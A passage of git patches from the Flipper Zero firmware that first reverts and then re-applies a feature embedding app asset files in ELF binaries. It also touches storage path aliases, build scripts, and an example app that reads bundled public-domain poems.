application_assets.h - * Flipper application assets - */ -#pragma once - -#include - -#ifdef __cplusplus -extern "C" { -#endif - -bool flipper_application_assets_load(File* file, const char* elf_path, size_t offset, size_t size); - -#ifdef __cplusplus -} -#endif diff --git a/lib/flipper_application/elf/elf_file.c b/lib/flipper_application/elf/elf_file.c index 58e315333..64d5755ef 100644 --- a/lib/flipper_application/elf/elf_file.c +++ b/lib/flipper_application/elf/elf_file.c @@ -241,7 +241,7 @@ static void elf_relocate_jmp_call(ELFFile* elf, Elf32_Addr relAddr, int type, El if(to_thumb || (symAddr & 2) || (!is_call)) { FURI_LOG_D( TAG, - "can't relocate value at %lx, %s, doing trampoline", + "can't relocate value at %x, %s, doing trampoline", relAddr, elf_reloc_type_to_str(type)); @@ -421,11 +421,29 @@ typedef enum { SectionTypeRelData = 1 << 2, SectionTypeSymTab = 1 << 3, SectionTypeStrTab = 1 << 4, - SectionTypeDebugLink = 1 << 5, + SectionTypeManifest = 1 << 5, + SectionTypeDebugLink = 1 << 6, - SectionTypeValid = SectionTypeSymTab | SectionTypeStrTab, + SectionTypeValid = SectionTypeSymTab | SectionTypeStrTab | SectionTypeManifest, } SectionType; +static bool elf_load_metadata( + ELFFile* elf, + Elf32_Shdr* section_header, + FlipperApplicationManifest* manifest) { + if(section_header->sh_size < sizeof(FlipperApplicationManifest)) { + return false; + } + + if(manifest == NULL) { + return true; + } + + return storage_file_seek(elf->fd, section_header->sh_offset, true) && + storage_file_read(elf->fd, manifest, section_header->sh_size) == + section_header->sh_size; +} + static bool elf_load_debug_link(ELFFile* elf, Elf32_Shdr* section_header) { elf->debug_link_info.debug_link_size = section_header->sh_size; elf->debug_link_info.debug_link = malloc(section_header->sh_size); @@ -460,7 +478,7 @@ static bool elf_load_section_data(ELFFile* elf, ELFSection* section, Elf32_Shdr* return false; } - FURI_LOG_D(TAG, "0x%p", section->data); + FURI_LOG_D(TAG, "0x%X", section->data); return true; } @@ -468,7 +486,8 @@ static SectionType elf_preload_section( ELFFile* elf, size_t section_idx, Elf32_Shdr* section_header, - FuriString* name_string) { + FuriString* name_string, + FlipperApplicationManifest* manifest) { const char* name = furi_string_get_cstr(name_string); #ifdef ELF_DEBUG_LOG @@ -553,6 +572,16 @@ static SectionType elf_preload_section( return SectionTypeStrTab; } + // Load manifest section + if(strcmp(name, ".fapmeta") == 0) { + FURI_LOG_D(TAG, "Found .fapmeta section"); + if(elf_load_metadata(elf, section_header, manifest)) { + return SectionTypeManifest; + } else { + return SectionTypeERROR; + } + } + // Load debug link section if(strcmp(name, ".gnu_debuglink") == 0) { FURI_LOG_D(TAG, "Found .gnu_debuglink section"); @@ -663,12 +692,41 @@ bool elf_file_open(ELFFile* elf, const char* path) { return true; } -bool elf_file_load_section_table(ELFFile* elf) { +bool elf_file_load_manifest(ELFFile* elf, FlipperApplicationManifest* manifest) { + bool result = false; + FuriString* name; + name = furi_string_alloc(); + + FURI_LOG_D(TAG, "Looking for manifest section"); + for(size_t section_idx = 1; section_idx < elf->sections_count; section_idx++) { + Elf32_Shdr section_header; + + furi_string_reset(name); + if(!elf_read_section(elf, section_idx, §ion_header, name)) { + break; + } + + if(furi_string_cmp(name, ".fapmeta") == 0) { + if(elf_load_metadata(elf, §ion_header, manifest)) { + FURI_LOG_D(TAG, "Load manifest done"); + result = true; + break; + } else { + break; + } + } + } + + furi_string_free(name); + return result; +} + +bool elf_file_load_section_table(ELFFile* elf, FlipperApplicationManifest* manifest) { SectionType loaded_sections = SectionTypeERROR; - FuriString* name = furi_string_alloc(); + FuriString* name; + name = furi_string_alloc(); FURI_LOG_D(TAG, "Scan ELF indexs..."); - // TODO: why we start from 1? for(size_t section_idx = 1; section_idx < elf->sections_count; section_idx++) { Elf32_Shdr section_header; @@ -680,7 +738,8 @@ bool elf_file_load_section_table(ELFFile* elf) { FURI_LOG_D( TAG, "Preloading data for section #%d %s", section_idx, furi_string_get_cstr(name)); - SectionType section_type = elf_preload_section(elf, section_idx, §ion_header, name); + SectionType section_type = + elf_preload_section(elf, section_idx, §ion_header, name, manifest); loaded_sections |= section_type; if(section_type == SectionTypeERROR) { @@ -694,49 +753,14 @@ bool elf_file_load_section_table(ELFFile* elf) { return IS_FLAGS_SET(loaded_sections, SectionTypeValid); } -ElfProcessSectionResult elf_process_section( - ELFFile* elf, - const char* name, - ElfProcessSection* process_section, - void* context) { - ElfProcessSectionResult result = ElfProcessSectionResultNotFound; - FuriString* section_name = furi_string_alloc(); - Elf32_Shdr section_header; - - // find section - // TODO: why we start from 1? - for(size_t section_idx = 1; section_idx < elf->sections_count; section_idx++) { - furi_string_reset(section_name); - if(!elf_read_section(elf, section_idx, §ion_header, section_name)) { - break; - } - - if(furi_string_cmp(section_name, name) == 0) { - result = ElfProcessSectionResultCannotProcess; - break; - } - } - - if(result != ElfProcessSectionResultNotFound) { //-V547 - if(process_section(elf->fd, section_header.sh_offset, section_header.sh_size, context)) { - result = ElfProcessSectionResultSuccess; - } else { - result = ElfProcessSectionResultCannotProcess; - } - } - - furi_string_free(section_name); - - return result; -} - ELFFileLoadStatus elf_file_load_sections(ELFFile* elf) { ELFFileLoadStatus status = ELFFileLoadStatusSuccess; ELFSectionDict_it_t it; AddressCache_init(elf->relocation_cache); - for(ELFSectionDict_it(it, elf->sections); !ELFSectionDict_end_p(it); ELFSectionDict_next(it)) { + for(ELFSectionDict_it(it, elf->sections); !ELFSectionDict_end_p(it); + ELFSectionDict_next(it)) { ELFSectionDict_itref_t* itref = ELFSectionDict_ref(it); FURI_LOG_D(TAG, "Relocating section '%s'", itref->key); if(!elf_relocate_section(elf, &itref->value)) { diff --git a/lib/flipper_application/elf/elf_file.h b/lib/flipper_application/elf/elf_file.h index f371cdb22..673f165cc 100644 --- a/lib/flipper_application/elf/elf_file.h +++ b/lib/flipper_application/elf/elf_file.h @@ -37,14 +37,6 @@ typedef enum { ELFFileLoadStatusMissingImports, } ELFFileLoadStatus; -typedef enum { - ElfProcessSectionResultNotFound, - ElfProcessSectionResultCannotProcess, - ElfProcessSectionResultSuccess, -} ElfProcessSectionResult; - -typedef bool(ElfProcessSection)(File* file, size_t offset, size_t size, void* context); - /** * @brief Allocate ELFFile instance * @param storage @@ -68,11 +60,20 @@ void elf_file_free(ELFFile* elf_file); bool elf_file_open(ELFFile* elf_file, const char* path); /** - * @brief Load ELF file section table (load stage #1) - * @param elf_file + * @brief Load ELF file manifest + * @param elf + * @param manifest * @return bool */ -bool elf_file_load_section_table(ELFFile* elf_file); +bool elf_file_load_manifest(ELFFile* elf, FlipperApplicationManifest* manifest); + +/** + * @brief Load ELF file section table (load stage #1) + * @param elf_file + * @param manifest + * @return bool + */ +bool elf_file_load_section_table(ELFFile* elf_file, FlipperApplicationManifest* manifest); /** * @brief Load and relocate ELF file sections (load stage #2) @@ -121,21 +122,6 @@ void elf_file_init_debug_info(ELFFile* elf_file, ELFDebugInfo* debug_info); */ void elf_file_clear_debug_info(ELFDebugInfo* debug_info); -/** - * @brief Process ELF file section - * - * @param elf_file - * @param name - * @param process_section - * @param context - * @return ElfProcessSectionResult - */ -ElfProcessSectionResult elf_process_section( - ELFFile* elf_file, - const char* name, - ElfProcessSection* process_section, - void* context); - #ifdef __cplusplus } #endif \ No newline at end of file diff --git a/lib/flipper_application/flipper_application.c b/lib/flipper_application/flipper_application.c index 6e20c0809..58909218a 100644 --- a/lib/flipper_application/flipper_application.c +++ b/lib/flipper_application/flipper_application.c @@ -1,7 +1,6 @@ #include "flipper_application.h" #include "elf/elf_file.h" #include -#include "application_assets.h" #define TAG "fapp" @@ -56,83 +55,24 @@ static FlipperApplicationPreloadStatus return FlipperApplicationPreloadStatusSuccess; } -static bool flipper_application_process_manifest_section( - File* file, - size_t offset, - size_t size, - void* context) { - FlipperApplicationManifest* manifest = context; - - if(size < sizeof(FlipperApplicationManifest)) { - return false; - } - - if(manifest == NULL) { - return true; - } - - return storage_file_seek(file, offset, true) && - storage_file_read(file, manifest, size) == size; -} - -// we can't use const char* as context because we will lose the const qualifier -typedef struct { - const char* path; -} FlipperApplicationPreloadAssetsContext; - -static bool flipper_application_process_assets_section( - File* file, - size_t offset, - size_t size, - void* context) { - FlipperApplicationPreloadAssetsContext* preload_context = context; - return flipper_application_assets_load(file, preload_context->path, offset, size); -} - -static FlipperApplicationPreloadStatus - flipper_application_load(FlipperApplication* app, const char* path, bool load_full) { - if(!elf_file_open(app->elf, path)) { - return FlipperApplicationPreloadStatusInvalidFile; - } - - // if we are loading full file - if(load_full) { - // load section table - if(!elf_file_load_section_table(app->elf)) { - return FlipperApplicationPreloadStatusInvalidFile; - } - - // load assets section - FlipperApplicationPreloadAssetsContext preload_context = {.path = path}; - if(elf_process_section( - app->elf, - ".fapassets", - flipper_application_process_assets_section, - &preload_context) == ElfProcessSectionResultCannotProcess) { - return FlipperApplicationPreloadStatusInvalidFile; - } - } - - // load manifest section - if(elf_process_section( - app->elf, ".fapmeta", flipper_application_process_manifest_section, &app->manifest) != - ElfProcessSectionResultSuccess) { +/* Parse headers, load manifest */ +FlipperApplicationPreloadStatus + flipper_application_preload_manifest(FlipperApplication* app, const char* path) { + if(!elf_file_open(app->elf, path) || !elf_file_load_manifest(app->elf, &app->manifest)) { return FlipperApplicationPreloadStatusInvalidFile; } return flipper_application_validate_manifest(app); } -/* Parse headers, load manifest */ -FlipperApplicationPreloadStatus - flipper_application_preload_manifest(FlipperApplication* app, const char* path) { - return flipper_application_load(app, path, false); -} - /* Parse headers, load full file */ FlipperApplicationPreloadStatus flipper_application_preload(FlipperApplication* app, const char* path) { - return flipper_application_load(app, path, true); + if(!elf_file_open(app->elf, path) || !elf_file_load_section_table(app->elf, &app->manifest)) { + return FlipperApplicationPreloadStatusInvalidFile; + } + + return flipper_application_validate_manifest(app); } const FlipperApplicationManifest* flipper_application_get_manifest(FlipperApplication* app) { diff --git a/scripts/fbt/appmanifest.py b/scripts/fbt/appmanifest.py index eb1652b78..64b9f6f39 100644 --- a/scripts/fbt/appmanifest.py +++ b/scripts/fbt/appmanifest.py @@ -67,7 +67,6 @@ class FlipperApplication: fap_icon_assets_symbol: Optional[str] = None fap_extbuild: List[ExternallyBuiltFile] = field(default_factory=list) fap_private_libs: List[Library] = field(default_factory=list) - fap_file_assets: Optional[str] = None # Internally used by fbt _appdir: Optional[object] = None _apppath: Optional[str] = None diff --git a/scripts/fbt_tools/fbt_extapps.py b/scripts/fbt_tools/fbt_extapps.py index d26b1b794..214afd8af 100644 --- a/scripts/fbt_tools/fbt_extapps.py +++ b/scripts/fbt_tools/fbt_extapps.py @@ -1,5 +1,5 @@ from dataclasses import dataclass, field -from typing import Optional, TypedDict +from typing import Optional from SCons.Builder import Builder from SCons.Action import Action from SCons.Errors import UserError @@ -15,8 +15,6 @@ import os import pathlib import itertools import shutil -import struct -import hashlib from ansi.color import fg @@ -153,24 +151,12 @@ def BuildAppElf(env, app): app_artifacts.compact, [app_env["SDK_DEFINITION"], app_env.Value(manifest_vals)], ) - - # Add dependencies on icon files if app.fap_icon: app_env.Depends( app_artifacts.compact, app_env.File(f"{app._apppath}/{app.fap_icon}"), ) - # Add dependencies on file assets - if app.fap_file_assets: - app_env.Depends( - app_artifacts.compact, - app_env.GlobRecursive( - "*", - app._appdir.Dir(app.fap_file_assets), - ), - ) - app_artifacts.validator = app_env.ValidateAppImports(app_artifacts.compact) app_env.AlwaysBuild(app_artifacts.validator) app_env.Alias(app_alias, app_artifacts.validator) @@ -280,159 +266,6 @@ def resources_fap_dist_action(target, source, env): shutil.copy(src.path, target.path) -def generate_embed_app_metadata_emitter(target, source, env): - app = env["APP"] - - meta_file_name = source[0].path + ".meta" - target.append("#" + meta_file_name) - - if app.fap_file_assets: - files_section = source[0].path + ".files.section" - target.append("#" + files_section) - - return (target, source) - - -class File(TypedDict): - path: str - size: int - content_path: str - - -class Dir(TypedDict): - path: str - - -def prepare_app_files(target, source, env): - app = env["APP"] - - directory = app._appdir.Dir(app.fap_file_assets) - directory_path = directory.abspath - - if not directory.exists(): - raise UserError(f"File asset directory {directory} does not exist") - - file_list: list[File] = [] - directory_list: list[Dir] = [] - - for root, dirs, files in os.walk(directory_path): - for file_info in files: - file_path = os.path.join(root, file_info) - file_size = os.path.getsize(file_path) - file_list.append( - { - "path": os.path.relpath(file_path, directory_path), - "size": file_size, - "content_path": file_path, - } - ) - - for dir_info in dirs: - dir_path = os.path.join(root, dir_info) - dir_size = sum( - os.path.getsize(os.path.join(dir_path, f)) for f in os.listdir(dir_path) - ) - directory_list.append( - { - "path": os.path.relpath(dir_path, directory_path), - } - ) - - file_list.sort(key=lambda f: f["path"]) - directory_list.sort(key=lambda d: d["path"]) - - files_section = source[0].path + ".files.section" - - with open(files_section, "wb") as f: - # u32 magic - # u32 version - # u32 dirs_count - # u32 files_count - # u32 signature_size - # u8[] signature - # Dirs: - # u32 dir_name length - # u8[] dir_name - # Files: - # u32 file_name length - # u8[] file_name - # u32 file_content_size - # u8[] file_content - - # Write header magic and version - f.write(struct.pack(" Date: Thu, 9 Mar 2023 18:01:53 +0300 Subject: [PATCH 065/329] Revert "Revert "Embed assets in elf file (#2466)"" This reverts commit a04c01a2fd703a6ac67ec8d2ae9713925fa83860. --- .../debug/unit_tests/storage/storage_test.c | 6 +- .../examples/example_apps_assets/README.md | 58 +++ .../example_apps_assets/application.fam | 10 + .../example_apps_assets/example_apps_assets.c | 48 +++ .../files/poems/a jelly-fish.txt | 24 ++ .../files/poems/my shadow.txt | 23 ++ .../files/poems/theme in yellow.txt | 19 + .../example_apps_assets/files/test_asset.txt | 1 + .../examples/example_apps_data/README.md | 12 +- applications/services/storage/storage.h | 15 +- .../services/storage/storage_external_api.c | 21 + applications/services/storage/storage_i.h | 1 + .../services/storage/storage_processing.c | 14 +- firmware/targets/f18/api_symbols.csv | 3 +- firmware/targets/f7/api_symbols.csv | 3 +- lib/flipper_application/application_assets.c | 361 ++++++++++++++++++ lib/flipper_application/application_assets.h | 17 + lib/flipper_application/elf/elf_file.c | 116 +++--- lib/flipper_application/elf/elf_file.h | 34 +- lib/flipper_application/flipper_application.c | 78 +++- scripts/fbt/appmanifest.py | 1 + scripts/fbt_tools/fbt_extapps.py | 185 ++++++++- 22 files changed, 937 insertions(+), 113 deletions(-) create mode 100644 applications/examples/example_apps_assets/README.md create mode 100644 applications/examples/example_apps_assets/application.fam create mode 100644 applications/examples/example_apps_assets/example_apps_assets.c create mode 100644 applications/examples/example_apps_assets/files/poems/a jelly-fish.txt create mode 100644 applications/examples/example_apps_assets/files/poems/my shadow.txt create mode 100644 applications/examples/example_apps_assets/files/poems/theme in yellow.txt create mode 100644 applications/examples/example_apps_assets/files/test_asset.txt create mode 100644 lib/flipper_application/application_assets.c create mode 100644 lib/flipper_application/application_assets.h diff --git a/applications/debug/unit_tests/storage/storage_test.c b/applications/debug/unit_tests/storage/storage_test.c index 582be7902..f0b45c598 100644 --- a/applications/debug/unit_tests/storage/storage_test.c +++ b/applications/debug/unit_tests/storage/storage_test.c @@ -362,8 +362,8 @@ static size_t storage_test_apps_count = COUNT_OF(storage_test_apps); static int32_t storage_test_app(void* arg) { UNUSED(arg); Storage* storage = furi_record_open(RECORD_STORAGE); - storage_common_remove(storage, "/app/test"); - int32_t ret = storage_file_create(storage, "/app/test", "test"); + storage_common_remove(storage, "/data/test"); + int32_t ret = storage_file_create(storage, "/data/test", "test"); furi_record_close(RECORD_STORAGE); return ret; } @@ -401,7 +401,7 @@ MU_TEST(test_storage_data_path) { Storage* storage = furi_record_open(RECORD_STORAGE); File* file = storage_file_alloc(storage); - mu_check(storage_dir_open(file, "/app")); + mu_check(storage_dir_open(file, "/data")); mu_check(storage_dir_close(file)); storage_file_free(file); diff --git a/applications/examples/example_apps_assets/README.md b/applications/examples/example_apps_assets/README.md new file mode 100644 index 000000000..a24183e88 --- /dev/null +++ b/applications/examples/example_apps_assets/README.md @@ -0,0 +1,58 @@ +# Apps Assets folder Example + +This example shows how to use the Apps Assets folder to store data that is not part of the application itself, but is required for its operation, and that data is provided with the application. + +## What is the Apps Assets Folder? + +The **Apps Assets** folder is a folder where external applications unpack their assets. + +The path to the current application folder is related to the `appid` of the app. The `appid` is used to identify the app in the app store and is stored in the `application.fam` file. +The Apps Assets folder is located only on the external storage, the SD card. + +For example, if the `appid` of the app is `snake_game`, the path to the Apps Assets folder will be `/ext/apps_assets/snake_game`. But using raw paths is not recommended, because the path to the Apps Assets folder can change in the future. Use the `/assets` alias instead. + +## How to get the path to the Apps Assets folder? + +You can use `/assets` alias to get the path to the current application data folder. For example, if you want to open a file `database.txt` in the Apps Assets folder, you can use the next path: `/data/database.txt`. But this way is not recommended, because even the `/assets` alias can change in the future. + +We recommend to use the `APP_ASSETS_PATH` macro to get the path to the Apps Assets folder. For example, if you want to open a file `database.txt` in the Apps Assets folder, you can use the next path: `APP_ASSETS_PATH("database.txt")`. + +## What is the difference between the Apps Assets folder and the Apps Data folder? + +The Apps Assets folder is used to store the data provided with the application. For example, if you want to create a game, you can store game levels (contant data) in the Apps Assets folder. + +The Apps Data folder is used to store data generated by the application. For example, if you want to create a game, you can save the progress of the game (user-generated data) in the Apps Data folder. + +## How to provide the data with the app? + +To provide data with an application, you need to create a folder inside your application folder (eg "files") and place the data in it. After that, you need to add `fap_file_assets="files"` to your application.fam file. + +For example, if you want to provide game levels with the application, you need to create a "levels" folder inside the "files" folder and put the game levels in it. After that, you need to add `fap_file_assets="files"` to your application.fam file. The final application folder structure will look like this: + +``` +snake_game +├── application.fam +├── snake_game.c +└── files + └── levels + ├── level1.txt + ├── level2.txt + └── level3.txt +``` + +When app is launched, the `files` folder will be unpacked to the Apps Assets folder. The final structure of the Apps Assets folder will look like this: + +``` +/assets +├── .assets.signature +└── levels + ├── level1.txt + ├── level2.txt + └── level3.txt +``` + +## When will the data be unpacked? + +The data is unpacked when the application starts, if the application is launched for the first time, or if the data within the application is updated. + +When an application is compiled, the contents of the "files" folder are hashed and stored within the application itself. When the application starts, this hash is compared to the hash stored in the `.assets.signature` file. If the hashes differ or the `.assets.signature` file does not exist, the application folder is deleted and the new data is unpacked. \ No newline at end of file diff --git a/applications/examples/example_apps_assets/application.fam b/applications/examples/example_apps_assets/application.fam new file mode 100644 index 000000000..4f324277d --- /dev/null +++ b/applications/examples/example_apps_assets/application.fam @@ -0,0 +1,10 @@ +App( + appid="example_apps_assets", + name="Example: Apps Assets", + apptype=FlipperAppType.EXTERNAL, + entry_point="example_apps_assets_main", + requires=["gui"], + stack_size=4 * 1024, + fap_category="Examples", + fap_file_assets="files", +) diff --git a/applications/examples/example_apps_assets/example_apps_assets.c b/applications/examples/example_apps_assets/example_apps_assets.c new file mode 100644 index 000000000..f2d0272f0 --- /dev/null +++ b/applications/examples/example_apps_assets/example_apps_assets.c @@ -0,0 +1,48 @@ +#include +#include +#include +#include + +// Define log tag +#define TAG "example_apps_assets" + +static void example_apps_data_print_file_content(Storage* storage, const char* path) { + Stream* stream = file_stream_alloc(storage); + FuriString* line = furi_string_alloc(); + + FURI_LOG_I(TAG, "----------------------------------------"); + FURI_LOG_I(TAG, "File \"%s\" content:", path); + if(file_stream_open(stream, path, FSAM_READ, FSOM_OPEN_EXISTING)) { + while(stream_read_line(stream, line)) { + furi_string_replace_all(line, "\r", ""); + furi_string_replace_all(line, "\n", ""); + FURI_LOG_I(TAG, "%s", furi_string_get_cstr(line)); + } + } else { + FURI_LOG_E(TAG, "Failed to open file"); + } + FURI_LOG_I(TAG, "----------------------------------------"); + + furi_string_free(line); + file_stream_close(stream); + stream_free(stream); +} + +// Application entry point +int32_t example_apps_assets_main(void* p) { + // Mark argument as unused + UNUSED(p); + + // Open storage + Storage* storage = furi_record_open(RECORD_STORAGE); + + example_apps_data_print_file_content(storage, APP_ASSETS_PATH("test_asset.txt")); + example_apps_data_print_file_content(storage, APP_ASSETS_PATH("poems/a jelly-fish.txt")); + example_apps_data_print_file_content(storage, APP_ASSETS_PATH("poems/theme in yellow.txt")); + example_apps_data_print_file_content(storage, APP_ASSETS_PATH("poems/my shadow.txt")); + + // Close storage + furi_record_close(RECORD_STORAGE); + + return 0; +} diff --git a/applications/examples/example_apps_assets/files/poems/a jelly-fish.txt b/applications/examples/example_apps_assets/files/poems/a jelly-fish.txt new file mode 100644 index 000000000..46a5a4dff --- /dev/null +++ b/applications/examples/example_apps_assets/files/poems/a jelly-fish.txt @@ -0,0 +1,24 @@ +A Jelly-Fish by Marianne Moore + +Visible, invisible, +A fluctuating charm, +An amber-colored amethyst +Inhabits it; your arm +Approaches, and +It opens and +It closes; +You have meant +To catch it, +And it shrivels; +You abandon +Your intent— +It opens, and it +Closes and you +Reach for it— +The blue +Surrounding it +Grows cloudy, and +It floats away +From you. + +source: "https://poets.org/anthology/poems-your-poetry-project-public-domain" \ No newline at end of file diff --git a/applications/examples/example_apps_assets/files/poems/my shadow.txt b/applications/examples/example_apps_assets/files/poems/my shadow.txt new file mode 100644 index 000000000..e113e7df5 --- /dev/null +++ b/applications/examples/example_apps_assets/files/poems/my shadow.txt @@ -0,0 +1,23 @@ +My Shadow by Robert Louis Stevenson + +I have a little shadow that goes in and out with me, +And what can be the use of him is more than I can see. +He is very, very like me from the heels up to the head; +And I see him jump before me, when I jump into my bed. + +The funniest thing about him is the way he likes to grow— +Not at all like proper children, which is always very slow; +For he sometimes shoots up taller like an India-rubber ball, +And he sometimes gets so little that there’s none of him at all. + +He hasn’t got a notion of how children ought to play, +And can only make a fool of me in every sort of way. +He stays so close beside me, he’s a coward you can see; +I’d think shame to stick to nursie as that shadow sticks to me! + +One morning, very early, before the sun was up, +I rose and found the shining dew on every buttercup; +But my lazy little shadow, like an arrant sleepy-head, +Had stayed at home behind me and was fast asleep in bed. + +source: "https://poets.org/anthology/poems-your-poetry-project-public-domain" \ No newline at end of file diff --git a/applications/examples/example_apps_assets/files/poems/theme in yellow.txt b/applications/examples/example_apps_assets/files/poems/theme in yellow.txt new file mode 100644 index 000000000..f392287bd --- /dev/null +++ b/applications/examples/example_apps_assets/files/poems/theme in yellow.txt @@ -0,0 +1,19 @@ +Theme in Yellow by Carl Sandburg + +I spot the hills +With yellow balls in autumn. +I light the prairie cornfields +Orange and tawny gold clusters +And I am called pumpkins. +On the last of October +When dusk is fallen +Children join hands +And circle round me +Singing ghost songs +And love to the harvest moon; +I am a jack-o'-lantern +With terrible teeth +And the children know +I am fooling. + +source: "https://poets.org/anthology/poems-your-poetry-project-public-domain" \ No newline at end of file diff --git a/applications/examples/example_apps_assets/files/test_asset.txt b/applications/examples/example_apps_assets/files/test_asset.txt new file mode 100644 index 000000000..1adcb55ee --- /dev/null +++ b/applications/examples/example_apps_assets/files/test_asset.txt @@ -0,0 +1 @@ +## This is test file content \ No newline at end of file diff --git a/applications/examples/example_apps_data/README.md b/applications/examples/example_apps_data/README.md index fd8666077..c70ac055a 100644 --- a/applications/examples/example_apps_data/README.md +++ b/applications/examples/example_apps_data/README.md @@ -9,10 +9,16 @@ The **Apps Data** folder is a folder used to store data for external apps that a The path to the current application folder is related to the `appid` of the app. The `appid` is used to identify the app in the app store and is stored in the `application.fam` file. The Apps Data folder is located only on the external storage, the SD card. -For example, if the `appid` of the app is `snake_game`, the path to the Apps Data folder will be `/ext/apps_data/snake_game`. But using raw paths is not recommended, because the path to the Apps Data folder can change in the future. Use the `/app` alias instead. +For example, if the `appid` of the app is `snake_game`, the path to the Apps Data folder will be `/ext/apps_data/snake_game`. But using raw paths is not recommended, because the path to the Apps Data folder can change in the future. Use the `/data` alias instead. ## How to get the path to the Apps Data folder? -You can use `/app` alias to get the path to the current application data folder. For example, if you want to open a file `config.txt` in the Apps Data folder, you can use the next path: `/app/config.txt`. But this way is not recommended, because even the `/app` alias can change in the future. +You can use `/data` alias to get the path to the current application data folder. For example, if you want to open a file `config.txt` in the Apps Data folder, you can use the next path: `/data/config.txt`. But this way is not recommended, because even the `/data` alias can change in the future. -We recommend to use the `APP_DATA_PATH` macro to get the path to the Apps Data folder. For example, if you want to open a file `config.txt` in the Apps Data folder, you can use the next path: `APP_DATA_PATH("config.txt")`. \ No newline at end of file +We recommend to use the `APP_DATA_PATH` macro to get the path to the Apps Data folder. For example, if you want to open a file `config.txt` in the Apps Data folder, you can use the next path: `APP_DATA_PATH("config.txt")`. + +## What is the difference between the Apps Assets folder and the Apps Data folder? + +The Apps Assets folder is used to store the data provided with the application. For example, if you want to create a game, you can store game levels (contant data) in the Apps Assets folder. + +The Apps Data folder is used to store data generated by the application. For example, if you want to create a game, you can save the progress of the game (user-generated data) in the Apps Data folder. \ No newline at end of file diff --git a/applications/services/storage/storage.h b/applications/services/storage/storage.h index da583ce50..5991e765f 100644 --- a/applications/services/storage/storage.h +++ b/applications/services/storage/storage.h @@ -10,12 +10,14 @@ extern "C" { #define STORAGE_INT_PATH_PREFIX "/int" #define STORAGE_EXT_PATH_PREFIX "/ext" #define STORAGE_ANY_PATH_PREFIX "/any" -#define STORAGE_APP_DATA_PATH_PREFIX "/app" +#define STORAGE_APP_DATA_PATH_PREFIX "/data" +#define STORAGE_APP_ASSETS_PATH_PREFIX "/assets" #define INT_PATH(path) STORAGE_INT_PATH_PREFIX "/" path #define EXT_PATH(path) STORAGE_EXT_PATH_PREFIX "/" path #define ANY_PATH(path) STORAGE_ANY_PATH_PREFIX "/" path #define APP_DATA_PATH(path) STORAGE_APP_DATA_PATH_PREFIX "/" path +#define APP_ASSETS_PATH(path) STORAGE_APP_ASSETS_PATH_PREFIX "/" path #define RECORD_STORAGE "storage" @@ -146,6 +148,17 @@ bool storage_file_eof(File* file); */ bool storage_file_exists(Storage* storage, const char* path); +/** + * @brief Copy data from one opened file to another opened file + * Size bytes will be copied from current position of source file to current position of destination file + * + * @param source source file + * @param destination destination file + * @param size size of data to copy + * @return bool success flag + */ +bool storage_file_copy_to_file(File* source, File* destination, uint32_t size); + /******************* Dir Functions *******************/ /** Opens a directory to get objects from it diff --git a/applications/services/storage/storage_external_api.c b/applications/services/storage/storage_external_api.c index 8d8220f81..ffc3da4bc 100644 --- a/applications/services/storage/storage_external_api.c +++ b/applications/services/storage/storage_external_api.c @@ -9,6 +9,7 @@ #define MAX_NAME_LENGTH 256 #define MAX_EXT_LEN 16 +#define FILE_BUFFER_SIZE 512 #define TAG "StorageAPI" @@ -251,6 +252,26 @@ bool storage_file_exists(Storage* storage, const char* path) { return exist; } +bool storage_file_copy_to_file(File* source, File* destination, uint32_t size) { + uint8_t* buffer = malloc(FILE_BUFFER_SIZE); + + while(size) { + uint32_t read_size = size > FILE_BUFFER_SIZE ? FILE_BUFFER_SIZE : size; + if(storage_file_read(source, buffer, read_size) != read_size) { + break; + } + + if(storage_file_write(destination, buffer, read_size) != read_size) { + break; + } + + size -= read_size; + } + + free(buffer); + return size == 0; +} + /****************** DIR ******************/ static bool storage_dir_open_internal(File* file, const char* path) { diff --git a/applications/services/storage/storage_i.h b/applications/services/storage/storage_i.h index 85df5d926..cb7f16e47 100644 --- a/applications/services/storage/storage_i.h +++ b/applications/services/storage/storage_i.h @@ -13,6 +13,7 @@ extern "C" { #define STORAGE_COUNT (ST_INT + 1) #define APPS_DATA_PATH EXT_PATH("apps_data") +#define APPS_ASSETS_PATH EXT_PATH("apps_assets") typedef struct { ViewPort* view_port; diff --git a/applications/services/storage/storage_processing.c b/applications/services/storage/storage_processing.c index cab1edff5..2a335e366 100644 --- a/applications/services/storage/storage_processing.c +++ b/applications/services/storage/storage_processing.c @@ -454,7 +454,7 @@ void storage_process_alias( FuriString* apps_data_path_with_appsid = furi_string_alloc_set(APPS_DATA_PATH "/"); furi_string_cat(apps_data_path_with_appsid, furi_thread_get_appid(thread_id)); - // "/app" -> "/ext/apps_data/appsid" + // "/data" -> "/ext/apps_data/appsid" furi_string_replace_at( path, 0, @@ -472,6 +472,18 @@ void storage_process_alias( } furi_string_free(apps_data_path_with_appsid); + } else if(furi_string_start_with(path, STORAGE_APP_ASSETS_PATH_PREFIX)) { + FuriString* apps_assets_path_with_appsid = furi_string_alloc_set(APPS_ASSETS_PATH "/"); + furi_string_cat(apps_assets_path_with_appsid, furi_thread_get_appid(thread_id)); + + // "/assets" -> "/ext/apps_assets/appsid" + furi_string_replace_at( + path, + 0, + strlen(STORAGE_APP_ASSETS_PATH_PREFIX), + furi_string_get_cstr(apps_assets_path_with_appsid)); + + furi_string_free(apps_assets_path_with_appsid); } } diff --git a/firmware/targets/f18/api_symbols.csv b/firmware/targets/f18/api_symbols.csv index 8060d38a2..07c323a1b 100644 --- a/firmware/targets/f18/api_symbols.csv +++ b/firmware/targets/f18/api_symbols.csv @@ -1,5 +1,5 @@ entry,status,name,type,params -Version,+,18.0,, +Version,+,18.1,, Header,+,applications/services/bt/bt_service/bt.h,, Header,+,applications/services/cli/cli.h,, Header,+,applications/services/cli/cli_vcp.h,, @@ -1636,6 +1636,7 @@ Function,-,storage_dir_rewind,_Bool,File* Function,+,storage_error_get_desc,const char*,FS_Error Function,+,storage_file_alloc,File*,Storage* Function,+,storage_file_close,_Bool,File* +Function,+,storage_file_copy_to_file,_Bool,"File*, File*, uint32_t" Function,+,storage_file_eof,_Bool,File* Function,+,storage_file_exists,_Bool,"Storage*, const char*" Function,+,storage_file_free,void,File* diff --git a/firmware/targets/f7/api_symbols.csv b/firmware/targets/f7/api_symbols.csv index 532008729..89828753e 100644 --- a/firmware/targets/f7/api_symbols.csv +++ b/firmware/targets/f7/api_symbols.csv @@ -1,5 +1,5 @@ entry,status,name,type,params -Version,+,18.0,, +Version,+,18.1,, Header,+,applications/services/bt/bt_service/bt.h,, Header,+,applications/services/cli/cli.h,, Header,+,applications/services/cli/cli_vcp.h,, @@ -2511,6 +2511,7 @@ 